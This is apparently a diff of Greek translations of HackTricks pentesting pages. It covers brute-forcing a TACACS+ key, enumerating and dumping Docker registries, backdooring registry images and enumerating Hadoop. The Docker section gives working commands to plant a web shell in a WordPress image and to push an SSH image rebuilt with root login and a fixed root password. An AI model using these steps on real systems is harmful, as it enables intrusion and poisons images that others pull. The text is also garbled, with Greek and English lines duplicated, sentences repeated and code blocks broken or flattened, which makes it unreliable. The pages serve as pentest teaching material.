Το [Loki](https://c0decafe.de/svn/codename\_loki/trunk/) μπορεί να χρησιμοποιηθεί για την επίθεση με βία κατά του κλειδιού:
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) μπορεί να χρησιμοποιηθεί για να κάνει brute force το κλειδί:
```
sudo loki_gtk.py
```
### Αποκρυπτογράφηση Κίνησης
Αφού η κλειδί επιτευχθεί επιτυχώς, το επόμενο βήμα είναι να **αποκρυπτογραφήσουμε την κίνηση που έχει κρυπτογραφηθεί με TACACS**. Το Wireshark μπορεί να χειριστεί κρυπτογραφημένη κίνηση TACACS εάν παρέχεται το κλειδί. Αναλύοντας την αποκρυπτογραφημένη κίνηση, μπορεί να ανακτηθούν πληροφορίες όπως το **μπάνερ που χρησιμοποιείται και το όνομα χρήστη του διαχειριστή**.
If the key is successfully **bruteforced** (**usually in MD5 encrypted format)**, **μπορούμε να αποκτήσουμε πρόσβαση στον εξοπλισμό και να αποκρυπτογραφήσουμε την TACACS-κρυπτογραφημένη κίνηση.**
Με την απόκτηση πρόσβασης στον πίνακα ελέγχου του εξοπλισμού δικτύου χρησιμοποιώντας τα λογαριασμάτα που έχουν αποκτηθεί, ο επιτιθέμενος μπορεί να ασκήσει έλεγχο στο δίκτυο. Είναι σημαντικό να σημειωθεί ότι αυτές οι ενέργειες είναι αυστηρά για εκπαιδευτικούς σκοπούς και δεν πρέπει να χρησιμοποιούνται χωρίς την κατάλληλη έγκριση.
### Decrypting Traffic
Once the key is successfully cracked, the next step is to **αποκρυπτογραφήσουμε την TACACS-κρυπτογραφημένη κίνηση**. Wireshark can handle encrypted TACACS traffic if the key is provided. By analyzing the decrypted traffic, information such as the **banner used and the username of the admin** user can be obtained.
## Αναφορές
By gaining access to the control panel of network equipment using the obtained credentials, the attacker can exert control over the network. It's important to note that these actions are strictly for educational purposes and should not be used without proper authorization.
## References
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,61 +1,55 @@
# 5000 - Pentesting Docker Registry
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
Ένα σύστημα αποθήκευσης και διανομής γνωστό ως **Docker registry** χρησιμοποιείται για τις εικόνες Docker που έχουν ονόματα και μπορεί να έρθουν σε πολλές εκδόσεις, διακριτικές με ετικέτες. Αυτές οι εικόνες οργανώνονται μέσα σε **αποθετήρια Docker** στο registry, με κάθε αποθετήριο να αποθηκεύει διάφορες εκδόσεις μιας συγκεκριμένης εικόνας. Η λειτουργικότητα που παρέχεται επιτρέπει τη λήψη εικόνων τοπικά ή τη μεταφόρτωσή τους στο registry, υποθέτοντας ότι ο χρήστης έχει τις απαραίτητες άδειες.
Ένα σύστημα αποθήκευσης και διανομής γνωστό ως **Docker registry** είναι σε λειτουργία για εικόνες Docker που ονομάζονται και μπορεί να έρχονται σε πολλές εκδόσεις, διακριτές μέσω ετικετών. Αυτές οι εικόνες οργανώνονται μέσα σε **Docker repositories** στο registry, κάθε repository αποθηκεύει διάφορες εκδόσεις μιας συγκεκριμένης εικόνας. Η παρεχόμενη λειτουργικότητα επιτρέπει την τοπική λήψη εικόνων ή την αποστολή τους στο registry, εφόσον ο χρήστης έχει τις απαραίτητες άδειες.
Το **DockerHub** λειτουργεί ως το προεπιλεγμένο δημόσιο registry για το Docker, αλλά οι ϧρήστες έχουν επίσης την επιλογή να λειτουργήσουν μια εκδοχή on-premise του ανοικτού κώδικα Docker registry/distribution ή να επιλέξουν το εμπορικά υποστηριζόμενο **Docker Trusted Registry**. Επιπλέον, μπορούν να βρεθούν διάφορα άλλα δημόσια registries online.
Για να κατεβάσετε μια εικόνα από ένα on-premise registry, χρησιμοποιείται η ακόλουθη εντολή:
**DockerHub** λειτουργεί ως η προεπιλεγμένη δημόσια registry για Docker, αλλά οι χρήστες έχουν επίσης την επιλογή να λειτουργούν μια τοπική έκδοση του ανοιχτού κώδικα Docker registry/διανομής ή να επιλέξουν την εμπορικά υποστηριζόμενη **Docker Trusted Registry**. Επιπλέον, διάφορες άλλες δημόσιες registries μπορούν να βρεθούν online.
Για να κατεβάσετε μια εικόνα από μια τοπική registry, χρησιμοποιείται η εξής εντολή:
```bash
docker pull my-registry:9000/foo/bar:2.1
```
Αυτή η εντολή ανακτά την εικόνα `foo/bar` έκδοση `2.1` από το απομακρυσμένο αποθετήριο στον τομέα `my-registry` στη θύρα `9000`. Αντίστοιχα, για να κατεβάσετε την ίδια εικόνα από το DockerHub, ειδικά αν το `2.1` είναι η τελευταία έκδοση, η εντολή απλοποιείται σε:
Αυτή η εντολή ανακτά την εικόνα `foo/bar` έκδοση `2.1` από το τοπικό μητρώο στον τομέα `my-registry` στην θύρα `9000`. Αντίθετα, για να κατεβάσετε την ίδια εικόνα από το DockerHub, ειδικά αν το `2.1` είναι η πιο πρόσφατη έκδοση, η εντολή απλοποιείται σε:
```bash
docker pull foo/bar
```
**Προεπιλεγμένη θύρα:** 5000
**Default port:** 5000
```
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
```
## Ανακάλυψη
Ο ευκολότερος τρόπος να ανακαλύψετε ότι αυτή η υπηρεσία λειτουργεί είναι να την εντοπίσετε στην έξοδο του nmap. Παρόλα αυτά, σημειώστε ότι καθώς πρόκειται για μια υπηρεσία βασισμένη σε HTTP, μπορεί να βρίσκεται πίσω από HTTP proxies και το nmap δεν θα το ανιχνεύσει.\
Μερικά αποτυπώματα:
Ο ευκολότερος τρόπος για να ανακαλύψετε αυτή την υπηρεσία που τρέχει είναι να την αποκτήσετε από την έξοδο του nmap. Ούτως ή άλλως, σημειώστε ότι καθώς είναι μια υπηρεσία βασισμένη σε HTTP μπορεί να είναι πίσω από HTTP proxies και το nmap δεν θα την ανιχνεύσει.\
Ορισμένα αποτυπώματα:
* Εάν έχετε πρόσβαση στο `/`, τότε δεν επιστρέφεται τίποτα στην απόκριση
* Εάν έχετε πρόσβαση στο `/v2/`, τότε επιστρέφεται `{}`
* Εάν έχετε πρόσβαση στο `/v2/_catalog`, μπορείτε να λάβετε:
* `{"repositories":["alpine","ubuntu"]}`
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
* Αν αποκτήσετε πρόσβαση στο `/` δεν επιστρέφεται τίποτα στην απάντηση
* Αν αποκτήσετε πρόσβαση στο `/v2/` τότε επιστρέφεται το `{}`
* Αν αποκτήσετε πρόσβαση στο `/v2/_catalog` μπορεί να αποκτήσετε:
* `{"repositories":["alpine","ubuntu"]}`
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
## Απαρίθμηση
## Αριθμητική
### HTTP/HTTPS
Το Docker registry μπορεί να έχει ρυθμιστεί να χρησιμοποιεί **HTTP** ή **HTTPS**. Έτσι, το πρώτο πράγμα που ίσως χρειαστείτε να κάνετε είναι να **βρείτε ποιο** από τα δύο έχει ρυθμιστεί:
Το Docker registry μπορεί να έχει ρυθμιστεί να χρησιμοποιεί **HTTP** ή **HTTPS**. Έτσι, το πρώτο πράγμα που μπορεί να χρειαστεί να κάνετε είναι να **βρείτε ποιο** έχει ρυθμιστεί:
```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
@ -66,11 +60,9 @@ Warning: <FILE>" to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
```
### Authentication
### Ταυτοποίηση
Το αποθετήριο Docker μπορεί επίσης να ρυθμιστεί ώστε να απαιτεί **ταυτοποίηση**:
Το Docker registry μπορεί επίσης να ρυθμιστεί ώστε να απαιτεί **authentication**:
```bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
@ -78,18 +70,14 @@ curl -k https://192.25.197.3:5000/v2/_catalog
#If no authentication required
{"repositories":["alpine","ubuntu"]}
```
Αν το Docker Registry απαιτεί πιστοποίηση, μπορείτε [**να δοκιμάσετε να το χτυπήσετε με βία** χρησιμοποιώντας αυτό](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
**Αν βρείτε έγκυρα διαπιστευτήρια, θα πρέπει να τα χρησιμοποιήσετε** για να απαριθμήσετε το registry, στο `curl` μπορείτε να τα χρησιμοποιήσετε όπως παρακάτω:
Αν το Docker Registry απαιτεί αυθεντικοποίηση μπορείτε να[ **δοκιμάσετε να το σπάσετε χρησιμοποιώντας αυτό**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
**Αν βρείτε έγκυρα διαπιστευτήρια θα χρειαστεί να τα χρησιμοποιήσετε** για να καταγράψετε το registry, στο `curl` μπορείτε να τα χρησιμοποιήσετε έτσι:
```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```
### Enumeration using DockerRegistryGrabber
### Απαρίθμηση χρησιμοποιώντας το DockerRegistryGrabber
Το [DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) είναι ένα εργαλείο σε Python για την απαρίθμηση / ανάκτηση δεδομένων από το αποθετήριο Docker (χωρίς ή με βασική ταυτοποίηση).
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) είναι ένα εργαλείο python για την καταμέτρηση / εξαγωγή του docker registry (χωρίς ή με βασική αυθεντικοποίηση)
```bash
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
@ -163,11 +151,9 @@ python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
```
### Enumeration using curl
### Απαρίθμηση χρησιμοποιώντας το curl
Μόλις **αποκτήσετε πρόσβαση στο αποθετήριο του docker**, εδώ είναι μερικές εντολές που μπορείτε να χρησιμοποιήσετε για να το απαριθμήσετε:
Μόλις **έχετε αποκτήσει πρόσβαση στο docker registry** εδώ είναι μερικές εντολές που μπορείτε να χρησιμοποιήσετε για να το καταγράψετε:
```bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
@ -230,13 +216,11 @@ curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fa
#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
```
{% hint style="warning" %}
Σημείωση ότι όταν κατεβάσετε και αποσυμπιέσετε τα αρχεία blobs, θα εμφανιστούν αρχεία και φάκελοι στον τρέχοντα κατάλογο. **Αν κατεβάσετε όλα τα blobs και τα αποσυμπιέσετε στον ίδιο φάκελο, θα αντικαταστήσουν τιμές από τα προηγουμένως αποσυμπιεσμένα blobs**, οπότε να είστε προσεκτικοί. Μπορεί να είναι ενδιαφέρον να αποσυμπιέσετε κάθε blob μέσα σε διαφορετικό φάκελο για να ελέγξετε το ακριβές περιεχόμενο κάθε blob.
Σημειώστε ότι όταν κατεβάζετε και αποσυμπιέζετε τα αρχεία και τους φακέλους blobs θα εμφανιστούν στον τρέχοντα κατάλογο. **Εάν κατεβάσετε όλα τα blobs και τα αποσυμπιέσετε στον ίδιο φάκελο, θα αντικαταστήσουν τις τιμές από τα προηγουμένως αποσυμπιεσμένα blobs**, οπότε να είστε προσεκτικοί. Μπορεί να είναι ενδιαφέρον να αποσυμπιέσετε κάθε blob μέσα σε διαφορετικό φάκελο για να ελέγξετε το ακριβές περιεχόμενο κάθε blob.
{% endhint %}
### Απαρίθμηση χρησιμοποιώντας το docker
### Enumeration using docker
```bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu
@ -255,11 +239,10 @@ docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
```
### Backdooring WordPress image
### Προσθήκη πίσω πόρτας (backdoor) στην εικόνα του WordPress
Στην περίπτωση που έχετε βρει ένα Docker Registry που αποθηκεύει μια εικόνα του WordPress, μπορείτε να την προσθέσετε μια πίσω πόρτα.\
**Δημιουργήστε** τη **πίσω πόρτα**:
Στο σενάριο όπου έχετε βρει ένα Docker Registry που αποθηκεύει μια εικόνα wordpress, μπορείτε να την backdoor.\
**Δημιουργήστε** το **backdoor**:
{% code title="shell.php" %}
```bash
@ -270,59 +253,67 @@ docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
Δημιουργήστε ένα **Dockerfile**:
{% code title="Dockerfile" %}
```
```
{% endcode %}
```bash
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
```
{% endcode %}
**Δημιουργήστε** τη νέα εικόνα, **ελέγξτε** ότι δημιουργήθηκε, και **πατήστε** την:
**Δημιουργήστε** τη νέα εικόνα, **ελέγξτε** ότι έχει δημιουργηθεί, και **σπρώξτε** την:
```bash
docker build -t 10.10.10.10:5000/wordpress .
#Create
docker images
docker push registry:5000/wordpress #Push it
```
### Backdooring SSH server image
### Τοποθέτηση πίσω πόρτας στην εικόνα του διακομιστή SSH
Υποθέστε ότι βρήκατε ένα Docker Registry με μια εικόνα SSH και θέλετε να τοποθετήσετε μια πίσω πόρτα σε αυτήν.\
Υποθέστε ότι βρήκατε ένα Docker Registry με μια εικόνα SSH και θέλετε να την backdoor.\
**Κατεβάστε** την εικόνα και **τρέξτε** την:
```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
```
Εξαγάγετε το αρχείο `sshd_config` από την εικόνα SSH:
Αποσπάστε το αρχείο `sshd_config` από την εικόνα SSH:
```bash
docker cp 4c989242c714:/etc/ssh/sshd_config .
```
And modify it to set: `PermitRootLogin yes`
Και τροποποιήστε το για να ορίσετε: `PermitRootLogin yes`
Create a **Dockerfile** like the following one:
Δημιουργήστε ένα **Dockerfile** όπως το παρακάτω:
{% tabs %}
{% tab title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
```
{% endtab %}
{% endtabs %}
**Δημιουργήστε** τη νέα εικόνα, **ελέγξτε** ότι έχει δημιουργηθεί, και **σπρώξτε** την:
```bash
docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
```
## Αναφορές
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
\`\`\`bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd\_config /etc/ssh/ RUN echo root:password | chpasswd \`\`\` \*\*Δημιουργήστε\*\* τη νέα εικόνα, \*\*ελέγξτε\*\* ότι δημιουργήθηκε, και \*\*ανεβάστε\*\* την: \`\`\`bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it \`\`\` ## Αναφορές \* \[https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/]\(https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,43 +1,44 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# **Βασικές Πληροφορίες**
Το **Apache Hadoop** είναι ένα **πλαίσιο ανοιχτού κώδικα** για τη **κατανεμημένη αποθήκευση και επεξεργασία** μεγάλων συνόλων δεδομένων σε **υπολογιστικά σύνολα**. Χρησιμοποιεί το **HDFS** για την αποθήκευση και το **MapReduce** για την επεξεργασία.
**Apache Hadoop** είναι ένα **ανοιχτού κώδικα πλαίσιο** για **κατανεμημένη αποθήκευση και επεξεργασία** **μεγάλων συνόλων δεδομένων** σε **συστήματα υπολογιστών**. Χρησιμοποιεί **HDFS** για αποθήκευση και **MapReduce** για επεξεργασία.
Δυστυχώς, το Hadoop δεν υποστηρίζεται από το πλαίσιο Metasploit κατά την τρέχουσα τεκμηρίωση. Ωστόσο, μπορείτε να χρησιμοποιήσετε τα παρακάτω **scripts Nmap** για να απαριθμήσετε τις υπηρεσίες Hadoop:
Δυστυχώς, το Hadoop δεν υποστηρίζεται στο Metasploit framework τη στιγμή της τεκμηρίωσης. Ωστόσο, μπορείτε να χρησιμοποιήσετε τα παρακάτω **Nmap scripts** για να καταγράψετε τις υπηρεσίες Hadoop:
- **`hadoop-jobtracker-info (Θύρα 50030)`**
- **`hadoop-tasktracker-info (Θύρα 50060)`**
- **`hadoop-namenode-info (Θύρα 50070)`**
- **`hadoop-datanode-info (Θύρα 50075)`**
- **`hadoop-secondary-namenode-info (Θύρα 50090)`**
- **`hadoop-jobtracker-info (Port 50030)`**
- **`hadoop-tasktracker-info (Port 50060)`**
- **`hadoop-namenode-info (Port 50070)`**
- **`hadoop-datanode-info (Port 50075)`**
- **`hadoop-secondary-namenode-info (Port 50090)`**
Είναι κρίσιμο να σημειωθεί ότι **το Hadoop λειτουργεί χωρίς αυθεντικοποίηση στην προεπιλεγμένη ρύθμιση του**. Ωστόσο, για αυξημένη ασφάλεια, υπάρχουν ρυθμίσεις διαθέσιμες για την ενσωμάτωση του Kerberos με τις υπηρεσίες HDFS, YARN και MapReduce.
Είναι σημαντικό να σημειωθεί ότι το Hadoop λειτουργεί χωρίς πιστοποίηση στην προεπιλεγμένη ρύθμισή του. Ωστόσο, για ενισχυμένη ασφάλεια, υπάρχουν διαθέσιμες ρυθμίσεις για την ενσωμάτωση του Kerberos με τις υπηρεσίες HDFS, YARN και MapReduce.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,40 +1,42 @@
